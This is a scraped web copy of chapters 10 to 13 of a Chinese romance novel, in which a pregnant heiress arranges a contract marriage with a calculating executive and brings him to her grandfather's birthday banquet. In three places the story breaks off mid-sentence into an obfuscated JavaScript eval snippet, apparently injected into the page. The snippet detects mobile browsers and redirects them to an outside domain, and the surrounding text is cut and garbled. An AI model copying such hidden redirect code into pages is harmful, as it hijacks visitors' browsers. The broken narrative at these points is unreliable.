黎铮又笑笑,“但是我建议你下次相亲也能考虑一下对方的尊严,就像最近我相亲的时候,无论再不满意,也不会当众泼人牛奶的。” 甄宝珠懒得和他辩论,只在心里暗暗叨叨。 现在你又当人了,当时把游悠吓得提前离场的人不也是你黎总。 黎铮隔空冲她举了举杯,敬他们难得同频的思想。 她棱了他一眼,拎着包起身,对过来结账的咖啡店员甜甜一笑,说:“我们的账他结,黎总,听八卦是要钱的。” 黎铮眉梢挑起,点了点头,伸手招咖啡店员过去结账。 甄宝珠匆匆离开,感觉自己太丢人了,上了车才发现游悠打的电话一直没挂断。 “游悠,你还在听吗?”甄宝珠问。 “我一直在听,你碰到黎铮了?” “是啊,丢人丢到家了。”甄宝珠萎靡道:“最近不知道怎么了,走到哪里都能碰到他,阴魂不散的。” 游悠在那边哈哈大笑,“缘,妙不可言。你们都在相亲,干脆凑一对多好。” 甄宝珠启动车子,想起黎铮那个看热闹不嫌事儿大的样子,扁了扁嘴,“没兴趣。” 游悠说:“可我觉得他很合适啊,你想想,有钱有地位符合你的经济标准,长相上乘又聪明,最最重要的是他竟然同意你的逆天理论,简直就是天选便宜爹。” 甄宝珠顿了会儿,问:“你不介意吗?游悠。” 朋友夫,不可为夫。 哪怕他们只是相过一次亲,但在甄宝珠眼里,不管游悠动没动筷,那都是她朋友的预制菜,没准哪天热一热又想吃了。 她压根没考虑过黎铮。 游悠却没当回事,“我介意什么,你们双剑合璧,一定能为害一方。” 既然游悠已经明确表态了,她也能考虑一下黎铮,只是黎铮这人不好搞,她也失败了几次,不想打无准备之仗了。 她眼珠一转,“游悠,你跟我说说,黎铮最近跟你家在做什么生意?” 10. 第 10 章 甄宝珠挑了个风和日丽的日子,穿上一套经典的香奈儿收腰连衣裙,画了精致妆容,黑发盘得油光水滑,俨然画报里的女明星模样。 一路开着红色跑车到黎铮公司楼下。 下车之前她特意补了个正红色口红,抚了抚微微圆润的小腹,肚子里除了有一个孩子,还有半只烤鸭。 当时黎铮正在顶层的总裁办公室翻阅文件,关林站在旁边汇报下午的行程,说起下午要和游总签合同。 提起游悠的爸爸,黎铮很自然就想到了甄宝珠,这个让他头疼的女人。 他拿出雪茄,却发现随身多年的打火机还在那女人身上,关林比较有眼色,替他点上了。 他就着火光问:“甄宝珠最近在干什么?” “她最近都跟游小姐在一起,上周和游小姐回家吃了一顿饭,隔天又陪着去了趟山上的道观。哦对了,昨天她去了医院,做NT检查,检查结果应该没问题,心情很好去商场买了一下午。” 黎铮在心里计算着甄宝珠怀孕的时间,快三个月了,也应该要建档了。 “她最近还有相亲吗?” “没有。” 黎铮沉默不语,不知道这个鬼丫头到底在想什么。 任何事情脱离掌控都让他很不舒服,面对这样一个随时能给他个惊雷的不确定因素,他时常感觉应对无力。 他原本的计划是要让甄宝珠意识到他是合适的结婚对象,自己主动找上门,有求于他才更好掌控,现在看来需要采取些主动的手段了。 他心里初步定好下一步计划,就在这时,办公桌的电话响起,前台的电话很反常地直接打到他办公室。 关林接起电话,那边似乎有紧急的处理不了的事情,“关助理,有人在楼下想约见黎总。” 关林沉了口气,“这种事打给总助办就行了,什么人?” 前台也很为难,“是一位姓甄的女士,说就要今天见黎总,我让她预约了,但是她说......” 关林打开免提,那边犹豫道:“她说,孩子见爹,不用预约。” “咳~”,黎铮被刚刚吸入的雪茄呛到,所有的计划又被这个不速之客重新打乱。 他把脸埋进掌心用力揉了揉,“让她上来。” * 甄宝珠摇曳娉婷身姿,被毕恭毕敬地请上楼。 总裁办公室早就清场,黎铮坐在皮椅上看似稳如泰山,只是手边的雪茄忘了熄灭,烟灰缸里升起一缕灰白烟雾。 黎铮冷眼看着她,“甄小姐,什么时候才能不乱讲话?” 甄宝珠把包包一甩,红唇微扬,“我如果不这么说,今天能见到你吗?” 黎铮放下文件,饶有兴致地看着她,很难想象她是怎么摸着吃撑的肚子在楼下说自己怀了他的孩子。 “你最好有很重要的事找我。” 甄宝珠一点儿都不着急,先拿了会儿乔,才笑嘻嘻说,“终身大事黎总觉得重不重要?” 她俯身站在黎铮桌前,秀眉微扬,笑容像泡在蜂蜜罐里糖果,“你和我结婚吧。” 这话从她口中说出来,就像一个稚童对伙伴发出下午去游乐场玩儿的邀请。 对她来说,婚姻像游戏一样简单吗? 黎铮将说出口的话又哽在喉头,她如此轻佻,倒让他措手不及。 “为什么?”黎铮冷言。 甄宝珠调笑:“大概因为我怀了你的孩子~” 对她这句很明显的玩笑话,黎铮笑不出来。 “甄小姐你恣肆无忌,敢想敢做,可我不记得我们有过露水情缘。” 甄宝珠觉得他真是没趣极了,干脆公事公办,拉开对面椅子坐下,摆出高贵而又严肃的姿态。 “黎总刚回国,国内环境不太了解,办事难免掣肘,你也大概听说过甄家在京市的地位,你和我结婚,人脉方面能获得最大的支持。” “当然,我的目的是给孩子找爹,我们婚内互不干涉,孩子出生之后自动离婚,黎总这么大的格局,应该不会介意吧?” “孩子算是个赠品,我的价值才是最大的,到时候我生下孩子,继承家里的产业,没准你这个前夫还会是不错的生意伙伴呢。” 甄宝珠噼里啪啦说了一大堆,明显是有备而来。 黎铮哂笑,“娶一个女人,打通京市的关系网,听起来是很划算。” 甄宝珠颇为满意,指向桌旁的烟灰缸,“所以听我的,先把雪茄掐灭,然后跟我结婚。” 黎铮把燃了一截的雪茄捻灭在烟灰缸里,指间动作轻缓。 半缕烟雾彻底散尽,黎铮缓缓抬眼,“如果我不愿意呢?” 黎铮似乎是专意不让她遂愿。 甄宝珠抬腕看了眼手表,“黎总,下午有事儿吧?” 黎铮靠着椅背,不详的预感油然而生。 果然,手机铃声响起,他瞥眼看过去,屏幕上是游咏的名字。 游咏操着一口港普向他致歉:“黎总啊,算命的王大师同我讲,最近做生意要谨防冲克,会有血光之灾,刚才我在路上等红灯,车就被追尾了。” 黎铮冷冽的目光投向甄宝珠,罪魁祸首就坐在他对面。 他腮骨绷紧,她却伸了个舒畅柔软的懒腰。 “那您有去医院检查吗?” “医院倒不用去,我得赶紧上山再找一趟大师寻求破解之法,签合同的事...怕是得改期。” 黎铮豁然开朗,原来甄宝珠最近出入游悠家,也是在忙着给他下套。 他的笑容僵在脸上,捻扁手中半截雪茄,语气依然平静,“好,改日我也去找那位大师帮我算算。” 电话挂断,甄宝珠的笑意跃上眉梢,“黎总,下午没事了吧?我们可以 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14427812|153794||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 慢慢聊。” 黎铮唇角勾勒出寒森笑意,指尖轻揉眉心,冷冷道:“甄小姐,这不是真诚的态度,但我很欣赏...” 他唇间轻启,目光睥睨,“如果下次想威胁到我,麻烦撞死他。” 一句话出口直接让甄宝珠的笑容凝固在那张精致的小脸上,冷寒的气流贯穿她的全身。 空气静了一瞬。 她意识到黎铮是个不简单的人,她的一招半式,在他眼里像个孩童笑话。 想后悔,已经迟了。 他说:“我开始有点儿期待我们婚后的生活了。” 这婚,她不想结了。 她说:“我、我还得考虑一下。” 黎铮起身,双手撑着桌沿,掠夺式的气场俯压过来,“给你时间考虑,五分钟怎么样?” 甄宝珠笼罩在他高大的阴影下,心脏砰砰直跳。 黎铮甩给她两份商业计划书:“我这里有两个项目,一个是你哥哥的公司,想知道竞争对手是谁吗?” 她略扫一眼,柳氏集团的商标映入眼帘。 黎铮唇边牵起一丝笑,“没有永远的朋友,只有永恒的利益,你的决定将会影响这笔巨额投资花落谁家。” 她皱了皱眉,不知道甄世明到底在搞什么飞机。 他的公司是新成立的,相比柳氏集团根本没有竞争力。 甄宝珠也只是隐约听甄世明提起过,这是他自己另立门户的第一个公司,坚持不要家里的支持。 而柳家、柳尚惠,她想想就反胃。 倒不是有多想帮甄世明,主要是想给柳尚惠添堵。 这不是威逼,这是利诱啊。 “不用考虑了,我也开始期待我们的婚后生活了。” 她拿起柳氏集团的计划书,将要塞入碎纸机,却被黎铮挡了一下。 他开始和她讲条件,“和我结婚,首先你要把游咏的生意给我追回来,其次,我会拟一份协议,以免你再做出什么不可控的事。” 黎铮下午没签成和游咏的生意合同,却签订了和甄宝珠的结婚协议。 甄宝珠翻看那些条款,简直是丧权辱国,明摆着要她做小伏低。 他竟然还特意把晚上十点上床睡觉写在条约里讽刺她。 甄宝珠指点着里面的条款。 “你给我解释一下,为什么我出行计划要提前报告?什么叫在甲方视线范围内行动?” “还有这条,什么叫履行妻子的义务?” 黎铮轻飘飘道:“括号里写了,包括但不限于维护甲方尊严,满足甲方需求。” “我就说这个,什么叫甲方需求。” “当我需要你在公众面前露面,出席重要活动,你要随叫随到。” 她拿笔重重划掉“但不限于”四个字,“这个条款麻烦写清楚些,你最好没有别的需求。” 11. 第 11 章 甄宝珠拼命力争,终于把协议删改到自己勉强能接受的范围。 开车到半路,她的脑筋又转过个弯儿来。 协议里那么多离谱丧权的条款,但真要动手去改,只能在黎铮划定的规矩下做小小的改动。 她甚至合理怀疑改动过后的协议才是黎铮真正的意图,忽然感觉自己还是吃亏。 不过黎铮也答应她结婚之前参加一次甄家的家宴,帮她应付家人。 周末参加甄宝珠爷爷的寿宴,周一正式去民政局领证,之后去医院建档,她的孩子就算是有爸了。 办完这件最重要的事,她算是松了口气,拿出手机致电游悠,“游叔叔没事儿吧?” 游悠那边气喘吁吁:“没事,只是掉了个车尾灯,说真的,如果不是你的嫡长闺,谁能为你做出开车撞亲爹的事儿啊?你那边怎么样,成了吗?” “差不多,过几天拉他去我家遛遛。” 游悠哈哈大笑,“太顺利了吧,你说他不会憋着什么坏吧?” “我管他是王八还是鳖,反正我的孩子有爹了。”甄宝珠夷然不屑。 游悠乐得岔气,“不和你说了,老头儿这会儿正拉着我上山呢,我真爬不动了,甄宝珠,你欠我的要用一辈子还啊。” 她转了一下方向盘拐进小区,“行,那你锻炼身体吧,赶明儿我登门给叔叔跪下道歉。” * 爷爷寿宴那天,甄家热闹极了。 几个嫁到天南地北的姑姑带着一家老小都回来了,就连甄世明也把两个私生子带回来给爷爷祝寿。 爷爷上了年纪,虽然喜欢小孩子,但不喜欢闹腾,午宴开始前一直在三楼书房和甄玉珠聊天。 几个姑姑凑在一起谈论中年妇女时尚风向,比她大的哥哥姐姐们扎堆聊投资聊金融。 甄宝珠几年没回国,关系自然不如他们那样密切,寒暄几句,她就睡在院内草坪的躺椅上晒太阳。 旁边还有俩小仆人给她端茶倒水,是甄世明的两个私生子。 两个小混蛋共享一张脸,穿合体的小西装,衬衫扎着领结,一身英国老管家打扮。 他们是最近才被家里承认的,虽然不会给继承财产的权利,但物质生活已经算是相当富裕了。 和她哥甄世明不一样,这两个小男孩就喜欢往甄宝珠身边凑,当仆人也乐意,甄世明远远看着,频频翻白眼。 甄宝珠可没心思关注远处的白眼,一直皱着眉头看手机。 黎铮明明说好今天要来露面,却忽然临时有事,告诉她不一定能来。 结果非但没人和她夫妻双双把家还,连买好的一大堆礼物也得自己找人帮忙搬进去。 午宴开始后,爷爷左手边坐着甄厉海,右手边紧挨甄玉珠,她和甄世明只能并排坐在长桌远处的位置,谁看谁都不顺眼。 爷爷挨个儿地询问小辈们最近的生活,也算是雨露均沾。 问到甄世明时,他主动邀功,“爷爷,前段时间我自己创办了新材料公司,目前正在融资,有家投资公司很感兴趣,就是最近风头很盛的远征投资集团,我相信如果他们的资金注进来,其他的资金也会蜂拥而至。” 爷爷点点头,“玉珠都给我说过了,听说幕后是个年轻人,还不到三十岁,后生可畏。” 甄厉海也赞同,“上次我见了,一表人才,风度不凡,当时我想能给我当女婿就好了,又一想咱家宝珠…还是算了。” 几个姑姑忙应和:“宝珠还小不着急,倒是玉珠…” 爷爷咳了一声,几个姑姑都不说话了。 甄宝珠坐在远处正思绪神游,爷爷又问到她,“宝珠,你回国有什么打算吗?” 甄世明猛怼一下甄宝珠的胳膊,她才回过神,也不知道该作何回应,“爷爷,我刚毕业回来,暂时…还没有计划。” 甄世明悄声嘲她:“大学毕业证对你来说是不是也挺难拿?我公司招聘起码得是真材实料的研究生,要不然真想让你去我公司就职,哥哥给你发点工资。” 甄宝珠棱他一眼,“哥,你的公司如果扭亏为盈,第一件事一定要把拖欠的工资给发下去。” 甄宝珠懒得理他,倒让他感觉自己又行了,平生第一次感觉甄宝珠怼得如此无力,可给他说嗨了。 “这个你放心,你现在最大的任务就是考个水硕,然后找人嫁了给家里节省口粮...” 放在两人中间的手机一震动,甄世明瞥了眼屏幕,立马接起电话,身体也坐得笔直,还给甄宝珠比了一个“嘘”的手势。 甄世明接起电话,“黎总你好,我们公司的计划书您看了吧?有想法您尽管提。” 甄宝珠还是第一次看到纨绔甄世明这么恭敬,看来创业也吃了不少苦头。 电话那头沉默了几秒钟,“先让保安给我开门禁吧。” 甄世明人都站起来了:“门禁?您到我公司了?” 甄宝珠仰头看着甄世明手中“放下个人素质,享受缺德人生”的手机壳,“哥,你拿的是我手机。” 甄世明翻过手机背面,又折过来看着屏幕,瞬间猪脑过载,眼睛瞪得溜圆。 没等他反应过来,甄宝珠就从容地从他手里抽出手机,贴在脸侧,“把电话递给保安亭。” “我是甄宝珠,”她平静地说:“他是我未婚夫,放进来吧。” * 黎铮以未婚夫的身份出现在甄家,所有人都没想到,连平日最沉静平和的甄玉珠都紧锁眉头。 甄宝珠很满意全家震惊的表情,她淡定挽住黎铮手臂,拍了拍甄世明肩膀,“起开,没有眼力见儿呢。” 黎铮落座在她身边,还是一如既往沉稳松弛,走到哪里都像是自己的主场。 “宝珠,你和家人说了吗?我们打算结婚的事。” “还没有...” 他很自然地牵住甄宝珠的手,给了她一个虚假宠溺的眼神,“那是我来的唐突了。” 甄宝珠牵着他的手走到爷爷面前,“爷爷,这是我的交往对象,他叫黎铮。” 甄玉珠侧身靠近爷爷耳边提醒:“远征集团,黎铮。” 黎铮谦逊俯身,“爷爷,听说您喜欢陶器,我为您准备了一件祝寿礼物。” 司机递过木盒,里面是一个象征“福禄”的明代万寿纹葫芦瓶。 甄宝珠的姑父也是古玩爱好者,神不知鬼不觉就替爷爷收下了礼物,从兜里掏出一把随身的放大镜,之后便开始不停的“啧啧啧”复读机模式。 “真品,珍品!” 这时全场的亲戚们才开始对黎铮刮目相看。 八卦的姑姑们互相交换眼神,开始了查户口式关心,还怪甄宝珠怎么没早些带黎铮回家。 “我和黎总是...”甄宝珠话音未落,腕骨被人不轻不重捏了一下,她又迅速改了口,“我和阿铮是在美国认识的,他玩儿命追求我,我不堪压力跑回国,没想到他追回了国。” 甄宝珠早就编好了一出她逃他追,她插翅难飞的霸总文的情节。 听她编完这个故事,黎铮脸上仍是宠溺笑容,桌下已经快把她腕骨捏碎了。 家里人又沉默片刻,都觉得黎铮长得就不像恋爱脑。 但再看那作为见面礼的明代古董,看那时刻不离甄宝珠的宠溺视线,看那始终不肯放开的手。 这就是热恋中的恋爱脑啊。 甄厉海倒是有些欣慰,毕竟刚刚经历过甄玉珠的退婚事件,甄宝珠能有个好归宿,老父亲的心也能平缓一些。 “黎铮啊,你和宝珠在一起也辛苦了,宝珠从小是个爱惹祸的性子,但是心地良善、热心肠,读书时就帮助家境贫困的同学,虽然花的是我的钱,两个人既然都回国了,就好好相处吧,我们家里都是很开明的,以后你也多多参与我们家庭聚会。” “甄伯父是儒商,希望今后能多向伯父学习,我这人性格有些沉闷,倒是觉得宝珠小姐很可爱。” 黎铮把话说得真诚至极,如果不是手腕还痛着,甄宝珠差点都信了。 午宴正式开场后,所有人的话题都抛给了黎铮,黎铮全程都没吃几口饭。 “小黎,家里父母是做什么的啊?” “父母以前在美国开中餐馆,前几年去世了,还有个妹妹,在英国读书。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14427813|153794||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 甄宝珠倒是乐得看他繁忙应对,手上的筷子也没停过,自从他来了,她的胃口也好了许多。 大概是肚子里的孩子也饿了,她想。 “呀,不好意思,是疾病还是...” “车祸。” 甄宝珠探向甜虾的筷子停顿在半空,转头望着黎铮。 他眉骨立体,一双墨瞳深嵌,看不出太多情绪。 甄宝珠心里别别扭扭的,很难想象当时黎铮知道她“制造”车祸时,到底是什么样的心情。 大概真的很讨厌她吧。 黎铮在应对查户口盘问时还能腾出手给她夹菜,他把甜虾放进甄宝珠的菜碟,垂眼压低声音,“吃饭,别盯着我。” 甄宝珠挪转目光,脸颊微热,她意识到自己做得过分,却拉不下脸跟黎铮道歉认错,只能殷勤为他夹菜示好。 被甄宝珠赶走的甄世明看着这两个人情意绵绵,好像看到了地球和火星接吻。 他始终不相信,这两人会有什么交集。 虽然甄宝珠也一直呆在美国,但他坚信他妹妹对吃喝玩乐门儿清,连华尔街在哪儿都不知道。 而且据他所知,甄宝珠前几个月才和金发碧眼的洋模特分手。 这一定有问题。 * 一顿饭下来,黎铮的谈吐已经征服了餐桌上的多半数人。 饭毕之后,老爷子还非得请黎铮去楼上书房再聊聊,就连他一向疼爱的甄玉珠都忽视了。 其他人都被打发到宅院后那片果园,那片果园种类很多,打理得也很好,盛绿的林叶遮蔽烈日,夏熟的果子香气满园,是个很适合避暑的地方。 甄世明推着甄玉珠的轮椅,几个姑姑拉着小孩儿的手走在前面。 甄宝珠一步三回头望着宅子,担心黎铮告她黑状。 甄世明不死心凑了过来,“甄宝珠,假的吧?你和黎总。” 她挤开甄世明,推着姐姐的轮椅,颇为得意,“你不知道我甄宝珠人见人爱?” 甄世明摸了摸下巴,“你小说看多了吧,越洋追爱,后面什么剧情?一胎十宝带球跑?” 甄宝珠几秒钟没吭声,甄玉珠也转头看着她。 哥哥看向她的肚子,皱了皱眉,“甄宝珠,你真怀孕了?” 甄宝珠赶忙踮起脚捂住他的嘴,他拽住她的双臂稳住她,“别闹了,站稳了。甄宝珠,你想干什么呀你?你还没结婚呢。” “你别说我,这会儿你又保守了,你也没结婚,俩大儿子在前面跑着呢,再说,我们马上就要结婚了。” 甄世明眉心拧紧,担忧道:“我问你一句,你怀这孩子你百分之百肯定是黎铮的吗?别乱来,到时候你生出个蓝眼睛,甄家可丢不起这人。” 甄宝珠用力搡他,“滚一边儿去,别挑拨我们夫妻关系。” 甄宝珠对哥哥一顿捶打之后气呼呼先走在前,顺手摘下园里的酸果儿擦了擦塞进嘴里。 甄世明和甄玉珠一直在她身后望着,仿佛儿时甄宝珠走两步摔一步的情景还在眼前。 他低头问甄玉珠:“她什么时候长到能生孩子的年纪了?” 甄玉珠看着妹妹的背影,温柔一笑。 * 夕阳洒进宅院,覆上一层金黄柔和的色彩。 甄宝珠从果园出来,远远看到黎铮和爸爸坐在凉亭喝茶,两人相谈甚欢,甄厉海笑得眼角都炸开了花,感慨道:“年轻一代有希望啊。” 看来她的担心纯属多余,黎铮仅用了半天就搞定了家里两个最难搞的两个人。 所幸爸妈马上又要离家,她和黎铮偷偷把证一领,到时候通知一声就行。 傍晚,甄宝珠才挽着黎铮的手臂夫妻双双把家还。 临走前,苏秀女士还盛情邀请,“小黎,以后我们家的聚会你都得来参加。” 甄世明一直欲言又止,甄宝珠甩过去一个警告眼神,“哥,投资是大事,我和阿铮回去还得再商量商量。” 言外之意是你想要投资就赶紧闭嘴,别惹老板娘不开心。 听到甄宝珠这话,黎铮的目光渐冷了下来。 12. 第 12 章 车子慢慢驶离甄家,车里安静极了。 甄宝珠一回头就发现黎铮仰靠椅背,人前的儒雅笑容彻底从他脸上卸下,俊朗眉宇之间尽显疲惫。 “我家里人这么不好相处吗?” 黎铮没答她话,头微微一偏,垂着眼尾睨她,看起来很不悦,“你不是远征集团的老板娘,所以别随便替我发言。” 三十七度的嘴唇怎么能说出这么冰冷的话,甄宝珠后知后觉,原来是把她警告甄世明的话当真了。 “拜托,我只是在开玩笑,我要当老板的,谁稀罕当什么老板娘?”甄宝珠也不服气。 “涉及工作的事,我从来不开玩笑,以后你也记住,你在外承诺的任何事,我都不负责实现。” 黎铮绷着一张毫无情趣的脸,要不是因为那确实是张俊脸,甄宝珠真想一个粉拳锤上去。 谁能想到他在别人面前表现像五好丈夫似的,在自己面前这么不当人呢,还没结婚就要给她立规矩了。 “哦,知道了。”甄宝珠闷闷不乐,忍下一口气,谁让她现在是贤良淑德的人妻呢。 黎铮闭上眼睛,唇角隐隐翘起一个向上的弧度,还以为她会小嘴叭叭再跟他讲些逆天言论,看来还是很乖,很好掌控。 大概乖顺了三分钟,甄宝珠又用手肘怼他,黎铮不耐烦地睁开眼,“有正事再说话。” 甄宝珠纳闷,“你怎么知道我爷爷喜欢陶器的?你跟我爸聊什么了,他那么夸你?” 黎铮懒得和她废话,从车上的储物箱拿出一本红色封皮的书,放在甄宝珠腿上。 甄宝珠低头一看,全明白了。 那是一本《毛选》。 翻开还有黎铮的标注笔记,红墨字迹潇洒,像鲜艳的红领巾飘扬在风中。 【没有事先的计划和准备,就不能获得战争的胜利。】 她已经能想到黎铮在书房给爷爷背了几段,然后深入探讨了一下午,老人家估计现在还心潮澎湃。 不行,她也得好好学学,哪怕以后讨爷爷欢心呢,她翻开书认真研读了十分钟,就睡着了。 车子停下,甄宝珠才从睡梦中醒来。 她双手抱着黎铮的手臂,睡得太沉脸上的粉印蹭在他的黑西装上,那块布料能看出她的脸在黎铮肩膀手臂缓缓下滑的轨迹。 她揉了揉眼睛,忽然发现停车的地方是黎铮的公司,天色渐晚,整栋大楼灯火明亮。 她趴在窗口问,“不先送我回家?” 黎铮早已经下车,打开车门,冷冰冰地说:“下来,还有些协议需要你签。” “可我好困。” “你刚睡醒。” 甄宝珠拖着步子下车,跟在黎铮身后从特殊通道上了顶层。 路过总助办,助理们嘴上都向黎铮问好,眼神都在甄宝珠身上飘来飘去。 黎铮在前面走得稳健正派,她在身后用迪士尼公主的手势和甜甜的笑容到处打招呼。 她像一只翩翩飞舞的花蝴蝶跟他飘进办公室,看到那张冰山脸顿时没了热情,懒懒散散四仰八叉躺在沙发上。 黎铮处理了一些文件才有时间管她,招手让她过来,那手势姿态好像拿她当下级员工。 一番内心的鸟语花香,甄宝珠还是不情不愿挪动脚步,她坐在黎铮对面,掌心支着脸颊,等着听他吩咐。 黎铮短叹口气,“结婚之前我希望再加强一下对你的了解。” 她直起腰,“你终于打算了解我好恶了,我还想找机会和你说呢。我最大的爱好是吃喝玩乐,最喜欢的酒是糯米甜酒,喜欢吃甜食,出生以来吃过最大的苦是抹茶冰激凌,Bytheway,不喜欢......” 黎铮抬手止住她的滔滔不绝,“我是要了解你的资产和负债,好写进婚前协议。” 甄宝珠忽闪了一下卡姿兰大眼睛,“我没有负债。” “很好。”黎铮微微颔首。 “我也没有资产。” 这下轮到黎铮疑惑眨眼了,“没有资产?车子房子股权你都没有吗?” 他问出这句话的时候,甄宝珠好像听到了黎铮的潜台词——人怎么可以穷成这样。 她解释道:“我刚回国,车是哥哥的,卡是爸爸的,房子产权是姐姐的,当然啦,钱也是她掏的。” 黎铮半天没能说出话,气氛有些微妙。 “要不你再了解一下我最喜欢的牌子?万一哪天你想送我礼物呢?”甄宝珠嬉皮笑脸。 “不用了......”黎铮沉吟片刻,“这样也好。” 甄宝珠狐疑,“你是不是惦记我的财产?” 黎铮无语,“你说反了,今天你在甄世明面前说的话提醒了我,我的公司是我的公司,与你没有关系。” 关林敲门而入,手里拿着厚厚一沓文件放在甄宝珠面前,又给她递了只笔。 “甄小姐,请在这一页签名。” 她抬眼看着黎铮,他扬了扬下巴,示意她赶紧签,眼中的意思分明是没有资产傍身的小野草,别想侵占我的财产。 关林把笔又往前递了递,潜台词是赶紧签,别耽误我下班。 她捏紧拳头,心里忿忿不平,黎铮变脸也太快了。她把笔往桌上一摔,拎起包包打算愤而离去。 “我今天很累了,你还把我拉来就是为了签这一堆破协议?我还没让律师看过呢,明天等我心情好了再说。” 她刚走到门口,黎铮幽幽道:“你今天不签,我明天再去拜访一下你爷爷,把你之前签过的协议给他老人家过目。” 她把门狠狠一摔,人还在门内站着。 太欺负人了,可她又被捏住了把柄。 她咬了咬牙又坐回去,接过关林刚捡起的笔,漂亮的眼睛瞪着黎铮,黎铮也风平浪静地回视。 “甄小姐,请在这一页签名。” “甄小姐,还有这一页,这一页,这一页......” 甄宝珠愤慨着用笔狠狠戳着纸面,签完之后把笔一摔,继续气鼓鼓瞪着黎铮。 黎铮接过协议重新翻了一遍,确保甄宝珠没有乱签什么宇宙超级美少女。 确认之后他还不忘再次提醒她:“甄小姐,你签过的协议是具有法律效力的,请你好好遵守。” “好的,黎总。”甄宝珠把包包捏得紧紧的,没好气道:“请问现在我能回家了吗?” 黎铮沉默了会儿,醇厚的声音略含一丝柔软征询,“你不跟我一起回家吗?” 甄宝珠搞不清楚这男人脑子里到底在想什么,她是什么很贱的人吗? “谢邀,婉拒了哈。” 甄宝珠戾气腾腾地推开那扇门,头也不回地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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门外音乐声很大,她在噪声隐约听到火警鸣响。 声音愈演愈烈,经理狂拍卫生间的门,“宝珠小姐,火警响了,所有人要撤出去,您快出来呀!” 甄宝珠也慌了,一颗心提到嗓子眼儿,刚从洗手台跳下来,卫生间的门就被人踹开,她被打横抱起狼狈地端下了楼。 抱她下楼的男人也算是她的旧相识,曾经是个失足少男,少不更事时她也曾豪掷千金,成为他最大的客户,但几年没见,她已经完全忘了他的名字。 一米八几的男人将她稳稳放下,脸上是真情实意的关切,“宝珠小姐,你没事吧?” “我没事,我其实自己能走下来…” 所有客人都是自己走下楼的,只有甄宝珠像袋米一样被扛下了楼,这倒让甄宝珠有些尴尬,她挪了挪脚步,想离这个显眼包远点。 她挪一步,显眼包往前一步,“宝珠小姐,听说你要结婚了…恭喜你。” 听他声音好像快哭了,甄宝珠更想躲远,敷衍道:“哈,同喜同喜~” 她转着脖子四处张望,想找游悠救救她,转头就看到黎铮的防弹车停在停车场,在一众豪车中特别显眼。 13. 第 13 章 关林从车窗探出个脑袋,冲着甄宝珠笑,甄宝珠走过去,黎铮并不在车里。 “黎铮派你跟踪我?”她气急败坏。 关林双手托着手机递到她眼前,“黎总请您接电话。” 她刚准备质问一番,沉稳的声音顺着听筒飘进耳中,“最后一次,下次就是扫黄了。” 甄宝珠压根没来得及开腔,黎铮就把电话挂断了。 关林下车为她开门,“黎总明天出差,今天需要保证休息,不放心您的安全,特意让我送您回家。” 尽管关林一个劲儿找补,甄宝珠仍然不买账。 “我的包没拿,你先回去吧。” “我去帮您拿。” 关林弯腰弓身挡在她面前,非要请她上车,她不情不愿上了车,刚坐稳,关林就锁上了车门。 后排位置摆放着一叠文件,她拿起翻开,眼前赫然出现她签署的合约内容复印件。 乙方不得随意出入夜店、娱乐会所。 这一条款下划了一道醒目的红色横线。 关林探了双眼睛进窗,“甄小姐,黎总说请您重新温习一下合约内容。” 当即甄宝珠咬着牙把合约撕成碎纸片,关林隔着车窗目瞪口呆。 她再打黎铮的电话,对方已经关机。 她紧捏着手机,给黎铮发了五百字文采飞扬的短信。 痛诉不平等条约,咒骂他手段肮脏,叫嚣着要取消合作。 含妈量极高的小作文发送出去,她的心情才略好了一些。 关林取包回来,看到甄宝珠已经心平气和在车上盘腿打坐了。 “宝珠小姐,您回湖岛小区还是甄家?” “甄家。”甄宝珠眼都没睁。 一路上关林都小心翼翼,没再敢说一句废话,害怕大小姐发起疯来手撕自己。 “关林,你对路很熟啊,都不用开导航。”甄宝珠身体前倾,恶魔低语就在关林耳边。 她记得上次黎铮去她家只带了司机。 关林反应也很快,“哦,以前送过小甄总。” 甄宝珠又问:“黎铮去哪儿出差?” 关林硬着头皮答:“黎总的行程一般都得保密。” “他什么时候回来?” “…也得保密,不过您放心,周一去民政局的事儿已经提上日程了。” 甄宝珠秀眉紧锁,下车前她对关林说:“请你转告黎铮,不管去哪出差,明天晚上就得回来,不然周一别想领证了。” 走了两步她又返回警告,“你再敢跟踪我,我就报警把你抓起来。” * 回到甄家,她鬼鬼祟祟摸进甄厉海的书房,在书房里偷到了户口本,刚出来就差点撞在戎昱胸口。 “玉珠小姐在等您。” 戎昱在前面带路,甄宝珠扯住衬他的衬衫后领,鼻尖凑近嗅了嗅。 戎昱的脸瞬间涨得通红,“宝珠小姐,麻烦你放开手。” 甄宝珠眯着眼狐疑,“你身上,怎么有甄玉珠的味道?” 戎昱:“......玉珠小姐不方便,我有时候需要帮忙挪动。” “那你紧张什么?” 戎昱拽了下领口,“我没有紧张。” 甄宝珠盯着他的眼睛,认真道:“不要对我姐有什么非分之想,你配不上她。” 戎昱垂着眼睫,点了下头。 * 